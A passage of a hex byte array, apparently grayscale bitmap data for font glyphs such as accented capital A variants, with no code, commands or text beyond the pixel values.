0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0xFF, 0xFF, 0xE0, 0x0B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0x7D, 0x7D, 0x78, 0x02, 0x05, 0xF3, 0xFF, 0xFF, 0x96,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xFF, 0x0B, 0x13, 0xFF, 0xFF, 0xFF,
0x8E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7B, 0xFF, 0xFF, 0xED, 0x00, 0x00, 0xE4, 0xFF,
0xFF, 0xCC, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCA, 0xFF, 0xFF, 0xB5, 0x00, 0x00, 0xB0,
0xFF, 0xFF, 0xFF, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x79, 0xFF, 0xFF, 0xFF, 0x7B, 0x00, 0x00,
0x43, 0xFC, 0xFF, 0xFF, 0xFF, 0xAE, 0x58, 0x3A, 0x5E, 0xA4, 0xFF, 0xFF, 0xFF, 0xE4, 0x12, 0x00,
0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x42, 0x00,
0x00, 0x00, 0x00, 0x00, 0x61, 0xE3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCA, 0x34, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x65, 0x96, 0xBC, 0xD7, 0xB8, 0x8C, 0x55, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A, 0x81, 0x81, 0x81, 0x5C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x1A, 0xDE, 0xFF, 0xFF, 0xFC, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xE7, 0xFF, 0xFF, 0xCE, 0x03, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2E, 0xEF, 0xFF, 0xFF, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3B, 0xF5, 0xFF, 0xF4, 0x1F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0xAF, 0xAF, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xC8, 0xC8,
0xC8, 0x96, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0C, 0xF4, 0xFF, 0xFF, 0xFF, 0xFC, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF,
0xFF, 0xFF, 0x7F, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0xE0, 0xFF, 0xFF, 0xC6, 0x0C, 0xF6, 0xFF, 0xFF, 0xE2, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x68,
0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xF9, 0x11, 0x00, 0x53, 0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xF5, 0xFF, 0xFF, 0xAD, 0x00, 0x00, 0x08,
0xF2, 0xFF, 0xFF, 0xF1, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63,
0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xFF, 0x57, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0xFF, 0xFF, 0xEC, 0x06, 0x00, 0x00, 0x00, 0x4B, 0xFF,
0xFF, 0xFF, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0xFF, 0xFF, 0xFF,
0x95, 0x00, 0x00, 0x00, 0x00, 0x05, 0xED, 0xFF, 0xFF, 0xFB, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x84, 0xFF, 0xFF, 0xFF, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF,
0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xE2, 0xFF, 0xFF, 0xFF, 0x63, 0x63,
0x63, 0x63, 0x63, 0x63, 0xA5, 0xFF, 0xFF, 0xFF, 0xCB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x45, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF6, 0xFF,
0xFF, 0xE6, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xFD, 0xFF, 0xFF, 0xE0, 0x01,
0x00, 0x00, 0x00, 0x00, 0x66, 0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xFF, 0x3E, 0x00, 0x00, 0x00, 0x00, 0xC6, 0xFF, 0xFF, 0xFB, 0x16,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xFF, 0xFF, 0xFF, 0x9B, 0x00, 0x00,
0x00, 0x28, 0xFF, 0xFF, 0xFF, 0xB5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x17, 0xFC, 0xFF, 0xFF, 0xF0, 0x08, 0x00, 0x00, 0x87, 0xFF, 0xFF, 0xFF, 0x58, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0xFF, 0xFF, 0xFF, 0x55, 0x00, 0x03, 0xE4,
0xFF, 0xFF, 0xF2, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66,
0xFF, 0xFF, 0xFF, 0xB2, 0x00, 0x47, 0xFF, 0xFF, 0xFF, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xFB, 0xFF, 0xFF, 0xFA, 0x14, 0x97, 0xFF, 0xFF, 0xFF,
0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF,
0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x80, 0x81,
0x81, 0x81, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x8F, 0xFF, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0xFD, 0xFF, 0xFF, 0xA8, 0x02,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0xCF, 0xFF, 0xFF, 0xB8, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xC6, 0x0A, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0xAF,
0xA5, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xC8, 0xC8,
0xC8, 0x96, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0C, 0xF4, 0xFF, 0xFF, 0xFF, 0xFC, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF,
0xFF, 0xFF, 0x7F, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0xE0, 0xFF, 0xFF, 0xC6, 0x0C, 0xF6, 0xFF, 0xFF, 0xE2, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x68,
0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xF9, 0x11, 0x00, 0x53, 0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xF5, 0xFF, 0xFF, 0xAD, 0x00, 0x00, 0x08,
0xF2, 0xFF, 0xFF, 0xF1, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63,
0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xFF, 0x57, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0xFF, 0xFF, 0xEC, 0x06, 0x00, 0x00, 0x00, 0x4B, 0xFF,
0xFF, 0xFF, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0xFF, 0xFF, 0xFF,
0x95, 0x00, 0x00, 0x00, 0x00, 0x05, 0xED, 0xFF, 0xFF, 0xFB, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x84, 0xFF, 0xFF, 0xFF, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF,
0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xE2, 0xFF, 0xFF, 0xFF, 0x63, 0x63,
0x63, 0x63, 0x63, 0x63, 0xA5, 0xFF, 0xFF, 0xFF, 0xCB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x45, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF6, 0xFF,
0xFF, 0xE6, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xFD, 0xFF, 0xFF, 0xE0, 0x01,
0x00, 0x00, 0x00, 0x00, 0x66, 0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xFF, 0x3E, 0x00, 0x00, 0x00, 0x00, 0xC6, 0xFF, 0xFF, 0xFB, 0x16,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xFF, 0xFF, 0xFF, 0x9B, 0x00, 0x00,
0x00, 0x28, 0xFF, 0xFF, 0xFF, 0xB5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x17, 0xFC, 0xFF, 0xFF, 0xF0, 0x08, 0x00, 0x00, 0x87, 0xFF, 0xFF, 0xFF, 0x58, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0xFF, 0xFF, 0xFF, 0x55, 0x00, 0x03, 0xE4,
0xFF, 0xFF, 0xF2, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66,
0xFF, 0xFF, 0xFF, 0xB2, 0x00, 0x47, 0xFF, 0xFF, 0xFF, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xFB, 0xFF, 0xFF, 0xFA, 0x14, 0x97, 0xFF, 0xFF, 0xFF,
0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF,
0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x81, 0x81, 0x81,
0x4C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x06, 0xD0, 0xFF, 0xFF, 0xFF, 0xF6, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCE,
0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41,
0xFE, 0xFF, 0xF7, 0x32, 0xD3, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xE2, 0xFF, 0xFF, 0x6D, 0x00, 0x2E, 0xF8, 0xFF, 0xFD, 0x3F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0xAF, 0xAF, 0x91,
0x01, 0x00, 0x00, 0x62, 0xAF, 0xAF, 0x7A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xC8, 0xC8,
0xC8, 0x96, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0C, 0xF4, 0xFF, 0xFF, 0xFF, 0xFC, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF,
0xFF, 0xFF, 0x7F, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0xE0, 0xFF, 0xFF, 0xC6, 0x0C, 0xF6, 0xFF, 0xFF, 0xE2, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x68,
0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xF9, 0x11, 0x00, 0x53, 0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xF5, 0xFF, 0xFF, 0xAD, 0x00, 0x00, 0x08,
0xF2, 0xFF, 0xFF, 0xF1, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63,
0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xFF, 0x57, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0xFF, 0xFF, 0xEC, 0x06, 0x00, 0x00, 0x00, 0x4B, 0xFF,
0xFF, 0xFF, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0xFF, 0xFF, 0xFF,
0x95, 0x00, 0x00, 0x00, 0x00, 0x05, 0xED, 0xFF, 0xFF, 0xFB, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x84, 0xFF, 0xFF, 0xFF, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF,
0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xE2, 0xFF, 0xFF, 0xFF, 0x63, 0x63,
0x63, 0x63, 0x63, 0x63, 0xA5, 0xFF, 0xFF, 0xFF, 0xCB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x45, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF6, 0xFF,
0xFF, 0xE6, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xFD, 0xFF, 0xFF, 0xE0, 0x01,
0x00, 0x00, 0x00, 0x00, 0x66, 0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xFF, 0x3E, 0x00, 0x00, 0x00, 0x00, 0xC6, 0xFF, 0xFF, 0xFB, 0x16,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xFF, 0xFF, 0xFF, 0x9B, 0x00, 0x00,
0x00, 0x28, 0xFF, 0xFF, 0xFF, 0xB5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x17, 0xFC, 0xFF, 0xFF, 0xF0, 0x08, 0x00, 0x00, 0x87, 0xFF, 0xFF, 0xFF, 0x58, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0xFF, 0xFF, 0xFF, 0x55, 0x00, 0x03, 0xE4,
0xFF, 0xFF, 0xF2, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66,
0xFF, 0xFF, 0xFF, 0xB2, 0x00, 0x47, 0xFF, 0xFF, 0xFF, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xFB, 0xFF, 0xFF, 0xFA, 0x14, 0x97, 0xFF, 0xFF, 0xFF,
0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF,
0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x88, 0xAD, 0x91, 0x49, 0x04,
0x00, 0x00, 0x95, 0xF5, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4C, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0xE9, 0x95, 0xB1, 0xFD, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0xFF, 0xFD, 0xF1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xE3, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2D, 0xFF, 0xF9,
0x22, 0x01, 0x3A, 0x94, 0xE5, 0xFF, 0xF6, 0xA6, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x16, 0x5F, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x0C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xC8, 0xC8, 0xC8, 0x96, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xF4, 0xFF, 0xFF,
0xFF, 0xFC, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x61, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x23, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xFF, 0x7F, 0xFF, 0xFF, 0xFF, 0x87,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xE0, 0xFF,
0xFF, 0xC6, 0x0C, 0xF6, 0xFF, 0xFF, 0xE2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x68, 0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xF9, 0x11,
0x00, 0x53, 0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0E, 0xF5, 0xFF, 0xFF, 0xAD, 0x00, 0x00, 0x08, 0xF2, 0xFF, 0xFF, 0xF1, 0x09, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00, 0x00,
0xA3, 0xFF, 0xFF, 0xFF, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4,
0xFF, 0xFF, 0xEC, 0x06, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xFF, 0xB4, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0xFF, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x05, 0xED,
0xFF, 0xFF, 0xFB, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0xFF, 0xFF, 0xFF,
